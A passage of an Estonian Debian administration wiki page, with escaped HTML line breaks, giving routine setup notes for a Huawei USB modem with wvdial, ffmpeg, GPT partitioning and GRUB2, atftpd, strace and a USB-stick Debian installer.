 # apt-get install python-wxgtk2.8 python-wxtools&lt;br /&gt;
 # apt-get install python-pip&lt;br /&gt;
&lt;br /&gt;
Seejärel lähtetekst lahti pakkida ja öelda&lt;br /&gt;
&lt;br /&gt;
 # pip install --allow-all-external --allow-unverified -r requirements&lt;br /&gt;
&lt;br /&gt;
Kasutajana käivitamisel öeldakse alustuseks&lt;br /&gt;
&lt;br /&gt;
 $ skyperious.sh&lt;br /&gt;
 -su: skyperious.sh: /bin/sh^M: bad interpreter: No such file or directory&lt;br /&gt;
&lt;br /&gt;
millest saab üle nn dos reavahetuste eemaldamisega&lt;br /&gt;
&lt;br /&gt;
 # fromdos skyperious.sh&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Skype vestlusaknas saab teksti parandada nn Sed süntaksit kasutades&lt;br /&gt;
&lt;br /&gt;
  mart: priiti, ei ole võimalik&lt;br /&gt;
  &lt;br /&gt;
  ,-------------------------------,&lt;br /&gt;
  | s/priiti/Priit/               |&lt;br /&gt;
  |_______________________________|&lt;br /&gt;
&lt;br /&gt;
http://share.skype.com/sites/linux/2009/09/some_explanations.html&lt;br /&gt;
&lt;br /&gt;
===PulseAudio kasutamine===&lt;br /&gt;
&lt;br /&gt;
http://pulseaudio.org/&lt;br /&gt;
&lt;br /&gt;
===Huawei netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
2010 aastal on populaarne kasutada mobiilse internetiühenduse teenust Huawei USB netipulga abil. Sellist tüüpi netipulgad on sisuliselt GSM modemid, mis ühendatakse arvutiga USB kaudu ning mille kasutamiseks peab seadmesse olema paigaldatud mobiilside operaatori kehtiv SIM-kaart (Subscriber Identity Module). Selline netipulk ei ole kuidagi seotud wifiga ning seda saab kasutada asudes mobiilside operaatori levialas. Netipulga kasutamiseks peab olema arvutisse paigaldatud PPP kliendi tarkvara, nt wvdial ja arvuti oskama kasutada USB-serial seadmeid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/Modem/3G&lt;br /&gt;
&lt;br /&gt;
====Riistvara====&lt;br /&gt;
&lt;br /&gt;
Näiteks olgu kasutada Huawei E620 USB Modem seade ning teenusepakkuja EMT andmesideteenus.&lt;br /&gt;
&lt;br /&gt;
 # lsusb&lt;br /&gt;
 ...&lt;br /&gt;
 Bus 002 Device 003: ID 12d1:1001 Huawei Technologies Co., Ltd. E620 USB Modem&lt;br /&gt;
&lt;br /&gt;
====Tarkvara====&lt;br /&gt;
&lt;br /&gt;
Netipulga kasutamiseks piisab Debian Lenny paketihalduse tarkvarast, st vajalikest tuuma moodulitest ning wvdial programmist, mille paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wvdial&lt;br /&gt;
&lt;br /&gt;
====Seadistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida maha usb-storage, option ja usbserial tuuma moodulid&lt;br /&gt;
&lt;br /&gt;
 # rmmmod usb-storage&lt;br /&gt;
 # rmmod option&lt;br /&gt;
 # rmmod usbserial&lt;br /&gt;
&lt;br /&gt;
ning laadida usbserial sobivate parameetritega, vastavalt käesolevale lsusb väljundile, nt&lt;br /&gt;
&lt;br /&gt;
 # modprobe usbserial vendor=0x12d1 product=0x1001&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kasutada USB-serial seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -l /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Apr 27 23:46 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Apr 27 23:15 /dev/ttyUSB1&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 2 Apr 27 23:15 /dev/ttyUSB2&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 3 Apr 27 23:15 /dev/ttyUSB3&lt;br /&gt;
&lt;br /&gt;
wvdial tarkvara tööd juhib seadistusfail /etc/wvdial.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf&lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = *99***1#&lt;br /&gt;
 Username = username&lt;br /&gt;
 Password = password&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
 Dial Command = ATDT&lt;br /&gt;
 &lt;br /&gt;
 [Dialer hsdpa]&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Init2 = ATZ&lt;br /&gt;
 Init3 = ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Phone - väärtus sõltub teenusepakkujast&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
 # wvdial hsdpa&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.60&lt;br /&gt;
 --&amp;gt; Cannot get information for serial port.&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99***1#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99***1#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Tue Apr 27 23:41:55 2010&lt;br /&gt;
 --&amp;gt; Pid of pppd: 7879&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; local  IP address 192.168.3.91&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; primary   DNS address 192.168.32.116&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; secondary DNS address 192.168.32.115&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib süsteemi juurde PPP seade, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:192.168.3.91  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:3 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:118 (118.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Netipulga kasutamine====&lt;br /&gt;
&lt;br /&gt;
Peale PPP lingi tekkimist piisab liiklus ruutida üle selle lingi ning saab kasutada võrku, nt&lt;br /&gt;
&lt;br /&gt;
 # route add -net 172.23.0.0 netmask 255.255.0.0 gw 192.168.3.91&lt;br /&gt;
&lt;br /&gt;
Lisaks nö sihipärasele mobiilsele töökohale andmeside tekitamisele on võimalikud nt sellised kasutusalad&lt;br /&gt;
&lt;br /&gt;
* ühendada võrku arvuteid, mida muul viisil võib olla tülikas ühendada&lt;br /&gt;
* ühendada arvutile külge alternatiivne andmesidekanal (nt monitooringuarvutist teadete saatmiseks)&lt;br /&gt;
&lt;br /&gt;
Kasutamisel tuleb arvestada, et läbi lisandunud seadme on võimalik lisaks välja pöördumisele ka sisse pöörduda, seepärast tasub kaaluda seoses netipulgaga paketifiltri kasutamist.&lt;br /&gt;
&lt;br /&gt;
===ffmpeg kasutamine===&lt;br /&gt;
&lt;br /&gt;
ffmpeg tarkvara abil saab ekraanil toimuvat nö videona salvestada&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -f x11grab -s 720x480 -r 23.976 -i :0.0 /tmp/file.mpg&lt;br /&gt;
&lt;br /&gt;
QuickTime andmete teisendamine&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i video-in.mov -vcodec mpeg4 video-out.avi&lt;br /&gt;
&lt;br /&gt;
QuickTime teisendamine Digital Video formaati&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i fail.mov -s pal -r pal -aspect 4:3 -ar 48000 -ac 2 fail.dv&lt;br /&gt;
&lt;br /&gt;
Taasesitamine nö ressursisäästlikult&lt;br /&gt;
&lt;br /&gt;
 $ mplayer -vo xv -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=1 video-out.avi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://viki.pingviin.org/MPlayer&lt;br /&gt;
* http://www.kinodv.org/&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Selleks, et vaikimisi ei seataks pakettidele DF (don't fragment), sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w net.ipv4.ip_no_pmtu_disc=1&lt;br /&gt;
&lt;br /&gt;
* arvuti viimaseid reboote näitab käsk&lt;br /&gt;
&lt;br /&gt;
 # last reboot -f /var/log/wtmp.1 &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Fri Aug  7 00:35 - 02:03 (38+01:27)  &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Wed Aug  5 00:14 - 00:35 (2+00:20)   &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:57 - 23:51  (00:53)    &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:56 - 22:57  (00:01)&lt;br /&gt;
&lt;br /&gt;
kus esimese rea teine kellaaeg on käesolev aeg (ja liigub), sulgudes on praktiliselt arvuti käesolev uptime; teiste ridade sulgudes on vastavad uptime ajad&lt;br /&gt;
&lt;br /&gt;
* Failide-alamkataloogide-jms arv kataloogis&lt;br /&gt;
&lt;br /&gt;
 # for i in `ls -d /*` ; do echo -n &amp;quot;$i: &amp;quot;; find $i | wc -l; done&lt;br /&gt;
&lt;br /&gt;
===PCMCIA seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pcmciautils&lt;br /&gt;
&lt;br /&gt;
===ExpressCard seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina paistavad ExpressCard http://en.wikipedia.org/wiki/ExpressCard seadmed operatsioonisüsteemile USB seadmetena.&lt;br /&gt;
&lt;br /&gt;
===syslog-ng kasutamine logiserverina===&lt;br /&gt;
&lt;br /&gt;
syslog-ng http://www.balabit.com/network-security/syslog-ng/ sobib kasutada logiserveris ja tal on sellised omadused&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Debian Lenny sisaldab syslog-ng versioon 2.0, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install syslog-ng&lt;br /&gt;
&lt;br /&gt;
Tarkvara tööd juhib seadistusfail /etc/syslog-ng/syslog-ng.conf&lt;br /&gt;
&lt;br /&gt;
===Failisüsteem===&lt;br /&gt;
&lt;br /&gt;
Debiani failisüsteemiga on seotud operatsioonisüsteemi seisukohalt sellised üldised asjaolud&lt;br /&gt;
&lt;br /&gt;
* /proc ja /sys kataloogid on nö vaated töötavale linuxi tuumale&lt;br /&gt;
&lt;br /&gt;
====Named ja unnamed pipe====&lt;br /&gt;
&lt;br /&gt;
Pipe on FIFO ja selle instrumendi abil saavad programmid omavahel andmeid vahetada, nt named pipe puhul sobib ühes aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ mkfifo /tmp/fifonimi&lt;br /&gt;
 $ cat &amp;lt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
ja teises aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ cal &amp;gt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
siis tulemusena esitatakse esimeses aknas cal käsu väljund.&lt;br /&gt;
&lt;br /&gt;
Osutub, et pipe ei ole alati vajalik moodustada mkfifo käsu abil, sobib ka nii, sellisel juhul on tegu anonüümse pipe'iga&lt;br /&gt;
&lt;br /&gt;
 $ cal | cat&lt;br /&gt;
&lt;br /&gt;
===Pidgin===&lt;br /&gt;
&lt;br /&gt;
Pidgin (nö vana nimega Gaim) http://www.pidgin.im/ on mitmeid protokolle toetav instant messaging tarkvara. Kuna Debiani paketihalduse Pidgin tõrgub vahel, siis üks otsekohene alternatiiv on kasutada lähtetekstist kompileeritud Pidgini&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn&lt;br /&gt;
 $ make&lt;br /&gt;
 $ make install&lt;br /&gt;
&lt;br /&gt;
Pidgin v. 2.10.0, tundub, et kui kasutada süsteemis mozilla.debian.net tarkvara, siis ebaõnnestub sõltuvuste tõttu&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
&lt;br /&gt;
Sellisel juhul tuleb käsitsi paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install intltool libglib2.0-dev libgtk2.0-dev&lt;br /&gt;
&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn --disable-nm --disable-screensaver \&lt;br /&gt;
   --disable-gtkspell --disable-gstreamer --disable-meanwhile --disable-avahi --disable-dbus --disable-tk&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===lm-sensors===&lt;br /&gt;
&lt;br /&gt;
lm-sensors http://www.lm-sensors.org/ tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install lm-sensors&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb teha kindlaks olemasolev riistvara ning laadida vastavad moodulid&lt;br /&gt;
&lt;br /&gt;
 # sensors-detect&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 # sensors -A | grep  Core&lt;br /&gt;
 Core 0:      +47.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 1:      +51.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 2:      +41.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 3:      +41.0 C  (high = +76.0 C, crit = +100.0 C)&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Core N - protsessori tuuma temperatuur&lt;br /&gt;
&lt;br /&gt;
===GPT kasutamine===&lt;br /&gt;
&lt;br /&gt;
GPT (GUID Partition Table) http://en.wikipedia.org/wiki/GUID_Partition_Table on seotud järgmiste probleemide lahendamisega&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemis soovitakse kasutada suuremat partitsiooni kui 2TB&lt;br /&gt;
* arvuti riistvara ei kasuta nn PC-BIOS'i vaid nt UEFI't (Unified Extensible Firmware Interface)&lt;br /&gt;
* kasutatakse 4096 B plokisuurusega kõvaketast&lt;br /&gt;
* saab kasutada kuni 128 nn primary partitsiooni&lt;br /&gt;
&lt;br /&gt;
====GPT partitsioonide haldamine====&lt;br /&gt;
&lt;br /&gt;
GPT partitsioonide haldamiseks sobib 2010 aasta suvel kasutada nt programme parted ja gdisk, esmalt tuleb moodustada plokkseadmele label öeldes&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sdc&lt;br /&gt;
 (parted) mklabel gpt&lt;br /&gt;
 Warning: The existing disk label on /dev/sdc will be destroyed and all data on this disk will be lost. Do you want to continue?&lt;br /&gt;
 Yes/No? Yes&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kui kasutada fdisk programmi GPT partitsioonitabelit kasutava plokkseadmega, siis paistab tulemus selline&lt;br /&gt;
&lt;br /&gt;
 # fdisk -uc /dev/sda -l&lt;br /&gt;
 WARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted.&lt;br /&gt;
 ... &lt;br /&gt;
    Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;
 /dev/sda1               1    10485759     5242879+  ee  GPT&lt;br /&gt;
&lt;br /&gt;
====GRUB2 alglaaduri kasutamine GPT ja PC-BIOS riistvaraga====&lt;br /&gt;
&lt;br /&gt;
Kui UEFI riistavara töötab GRUB2 alglaaduri ja GPT partitsioneeritud kõvakettaga nö otseselt, siis PC-BIOS arvuti puhul tuleb kasutada seejuures mõnda täiendavat võtet. Üldiselt toimub PC-BIOS riistvaral töötava süsteemi alglaadimine selliselt&lt;br /&gt;
&lt;br /&gt;
* kõvakettale on moodustatud kolm GPT partitsiooni&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 &lt;br /&gt;
 Number  Start     End          Size         File system  Name      Flags&lt;br /&gt;
  1      2048s     4095s        2048s                     biosboot  bios_grub&lt;br /&gt;
  2      4096s     1052671s     1048576s                  boot&lt;br /&gt;
  3      1052672s  3905974271s  3904921600s               system&lt;br /&gt;
&lt;br /&gt;
* alglaadimisel loetakse üks alglaaduri aste esimeselt partitsioonilt&lt;br /&gt;
* järgmised astmed ning operatsioonisüsteemi tuum ja initramfs loetakse boot partitsioonilt&lt;br /&gt;
* operatsioonisüsteemi juurfailisüsteem asub kolmandal partitsioonil või sellel paiknevalt loogiliselt seadmelt, nt LVM köitelt&lt;br /&gt;
&lt;br /&gt;
=====GPT partitsioonide moodustamine=====&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s&lt;br /&gt;
 (parted) mkpart biosboot 2048 4095&lt;br /&gt;
 (parted) set 1 bios_grub on                                               &lt;br /&gt;
 (parted) mkpart boot 4096 1052671                                         &lt;br /&gt;
 (parted) mkpart system 1052672 3907026943&lt;br /&gt;
 (parted) set 3 lvm on&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb jälgida, et partitsioonide suurused saavad sobivad, kaks esimest võiksid olla suhtliselt universaalselt sobivad&lt;br /&gt;
&lt;br /&gt;
=====Failisüsteemide ettevalmistamine=====&lt;br /&gt;
&lt;br /&gt;
GPT pealt töötava süsteemi saab ettevalmistada nt ühendades vastav plokkseade külge mõnele olemasolevale töötavale süsteemile. Seejärel moodustada seadmele GPT partitsioonitabel, failisüsteemid ning kopeerida sinna töötav süsteem üle, nt rsync abil.&lt;br /&gt;
&lt;br /&gt;
=====GRUB2 seadistamine ja paigaldamine=====&lt;br /&gt;
&lt;br /&gt;
GRUB2 seadistamiseks sobib kasutada nt sellist /etc/grub.d/40_custom faili&lt;br /&gt;
&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 # This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
 # menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
 # the 'exec tail' line above.&lt;br /&gt;
 &lt;br /&gt;
 echo &amp;quot;Debian GPT&amp;quot; &amp;gt;&amp;amp;2&lt;br /&gt;
 menuentry &amp;quot;Debian GPT&amp;quot; {&lt;br /&gt;
 insmod part_gpt&lt;br /&gt;
 insmod ext2&lt;br /&gt;
 set root=(hd0,gpt2)&lt;br /&gt;
 linux /vmlinuz-2.6.32-2-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.26-2-amd64&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* insmod part_gpt - grub2 laadib omale GTP partitsioonitabeli tundmise tarkuse&lt;br /&gt;
* (hd0,gpt2) - näitab millisel GPT partitsioonil asub /boot failisüsteem&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et failisüsteemid on monteeritud öelda&lt;br /&gt;
&lt;br /&gt;
 # grub-install --recheck --no-floppy --root-directory=/mnt/root /dev/sda&lt;br /&gt;
 Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
Tulemusena peaks arvuti käivituma.&lt;br /&gt;
&lt;br /&gt;
====4096 B plokisuurusega kõvaketaste kasutamine====&lt;br /&gt;
&lt;br /&gt;
2010 aasta suvel on 4k plokisuurusega kõvaketaste kasutamine pisut ebaselge, tundub, et üldiselt peaks utiliidid sellega automaatselt hiljem või varem hakkama saama. Hetkel näib ohutu nö käsitsi arvestada, et partitsiooni algus satuksid arvudega 8 ja 512 jaguvatele kohtadele, nt kasutades GPT partitsioonitabelit selliselt&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s                                                           &lt;br /&gt;
 (parted) mkpart system 2048 327679999&lt;br /&gt;
 (parted) mkpart pgdata 327680000 164863999&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* unit s - edasi esitatakse partitsiooni algus ja lõpp sektori numbrina&lt;br /&gt;
* system - partitsiooni nimi kasutajale tähendust omaval kujul&lt;br /&gt;
* 2048 - partitsiooni algussektor&lt;br /&gt;
* 327679999 - partitsiooni lõpp sektor, arvestusega, et 327679999 + 1 jagub arvudega 8 ja 512&lt;br /&gt;
&lt;br /&gt;
Paritsioonitüüpide näitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 (parted) set 1 lvm on&lt;br /&gt;
 (parted) set 2 lvm on&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 Model: ATA WDC WD2003FYYS-0 (scsi)&lt;br /&gt;
 Disk /dev/sdc: 3907029168s&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 &lt;br /&gt;
 Number  Start       End         Size        File system  Name  Flags&lt;br /&gt;
  1      2048s       327679999s  327677952s               system   lvm&lt;br /&gt;
  2      327680000s  328703999s  1024000s                 pgdata   lvm&lt;br /&gt;
&lt;br /&gt;
Kui selliselt ettevalmistatud plokkseadmel kasutada failisüsteemi või nt mdadm, lvm või cryptsetup lahendusi, siis väidetavalt neile sobib 4k plokisuuris hästi.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.ibm.com/developerworks/linux/library/l-4kb-sector-disks/&lt;br /&gt;
* http://www.johannes-bauer.com/linux/wdc/?menuid=3&lt;br /&gt;
* http://grub.enbug.org/BIOS_Boot_Partition&lt;br /&gt;
* http://wiki.archlinux.org/index.php/User:Skodabenz/GPT&lt;br /&gt;
* http://jamie.mayfirst.org/posts/2010/two-tb-disks/&lt;br /&gt;
* http://www.wensley.org.uk/gpt&lt;br /&gt;
&lt;br /&gt;
===atftpd kasutamine===&lt;br /&gt;
&lt;br /&gt;
atftpd on tftpd server ning atftp vastav klient.&lt;br /&gt;
&lt;br /&gt;
====Server====&lt;br /&gt;
&lt;br /&gt;
Serveri paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
Seejuures küsitakse hulk küsimusi, vaikimisi käivitatakse paigaldamise lõpuks tftp teenus inetd superserverist ning kataloogiks on /srv/tftp.&lt;br /&gt;
&lt;br /&gt;
Tööd juhitakse&lt;br /&gt;
&lt;br /&gt;
* /etc/default/atftpd failis&lt;br /&gt;
&lt;br /&gt;
 USE_INETD=true&lt;br /&gt;
&lt;br /&gt;
* /etc/inetd.conf failis sarnase reaga&lt;br /&gt;
&lt;br /&gt;
 tftp  dgram   udp4   wait   nobody /usr/sbin/tcpd /usr/sbin/in.tftpd --tftpd-timeout 300 \&lt;br /&gt;
   --retry-timeout 5 --no-multicast --maxthread 100 --verbose=5 --logfile /var/log/atftpd.log /srv/tftp&lt;br /&gt;
&lt;br /&gt;
====Klient====&lt;br /&gt;
&lt;br /&gt;
Kliendi paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftp&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ atftp 192.168.10.10&lt;br /&gt;
 tftp&amp;gt; get /srv/tftp/sg200-18-20131217-mirror.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena kopeeritakse fail kliendi käesolevasse kataloogi.&lt;br /&gt;
&lt;br /&gt;
===strace programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nö failisüsteemi tcpdump kasutamiseks sobib esmalt vaadata nt veebiseveri protsesside numbrid ja seejärel öelda&lt;br /&gt;
&lt;br /&gt;
 $ strace -p 19282 -p 19283 -p 19284 -p 19285 -p 19286 -p 19368 -p 20015 -p 29774 -p 29775 -f -e trace=open&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -f - järgib forkisid&lt;br /&gt;
* -e määratleb, et jälgitakse failiavamisi&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* kui kasutada mitu korda -e parameetrit, siis kehtestub ainult viimane kasutamine&lt;br /&gt;
* kui kasutada -e järel mitut väärtust, nt '-e trace=read,write', siis väärtused OR-itakse kokku&lt;br /&gt;
* kui on soov jälgida konkreetse file descriptori kasutusi, siis tuleb strace väljundi teksti töödelda grep vms üldiste vahenditega&lt;br /&gt;
* shelli protsessi on huvitav strace'ida teisest aknast&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://myhowto.org/solving-problems/7-exploring-system-internals-with-lsof-and-strace/&lt;br /&gt;
* http://www.noah.org/wiki/Debugging_notes&lt;br /&gt;
&lt;br /&gt;
===Debian Squeeze paigaldamine USB pulgalt===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze operatsiooniüsteemi USB pulgalt paigaldamise eeldusteks on&lt;br /&gt;
&lt;br /&gt;
* kasutada on olemasolev võrguühendusega Linux arvuti&lt;br /&gt;
* installeeritav arvuti boodib USB pulgalt&lt;br /&gt;
* installeeritava arvuti saab ühendada võrku&lt;br /&gt;
&lt;br /&gt;
USB pulk tuleb Debian Squeeze paigaldamiseks ettevalmistada järgmiselt&lt;br /&gt;
&lt;br /&gt;
* vastaku USB pulgale seade /dev/sdf, pulk peab olema monteerimata olekus, st öelda&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* lähtudes aadressilt http://www.debian.org/devel/debian-installer/ kopeerida sobivad boot.img.gz ning netinst.iso failid, nt&lt;br /&gt;
&lt;br /&gt;
 # http://ftp.nl.debian.org/debian/dists/testing/main/installer-amd64/current/images/hd-media/boot.img.gz&lt;br /&gt;
 # http://cdimage.debian.org/cdimage/squeeze_di_rc1/amd64/iso-cd/debian-sq-di-rc1-amd64-netinst.iso&lt;br /&gt;
&lt;br /&gt;
* kopeerida boot.img.gz pulgale öeldes&lt;br /&gt;
&lt;br /&gt;
 # zcat boot.img.gz &amp;gt; /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* monteerida pulk ning kopeerida netinst iso&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf&lt;br /&gt;
 # mount /dev/sdf /mnt/sdf&lt;br /&gt;
 # cp debian-sq-di-rc1-amd64-netinst.iso /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
* ainult nn kommertsdraiveritega töötava riistvara kasutamiseks on vajalik lisaks kopeerida arhiiv firmware.tar.gz aadressilt http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/, nt&lt;br /&gt;
&lt;br /&gt;
 # wget http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/squeeze/current/firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
ning pakkida lahti pulga juurikale kataloogi firmware&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf/firmware&lt;br /&gt;
 # tar -C /mnt/sdf/firmware -z -x -f firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb pult lahti monteerida&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
Pulga kasutamiseks tuleb pult ühendada kõnealuse arvutiga, BIOS'ist seadistada käivituma USB pulgalt ning algab tarkvara paigaldus. Paigalduse käigus peaks olema kasutada internetiühendus.&lt;br /&gt;
&lt;br /&gt;
===SSL juur-sertifikaatide lisamine===&lt;br /&gt;
&lt;br /&gt;
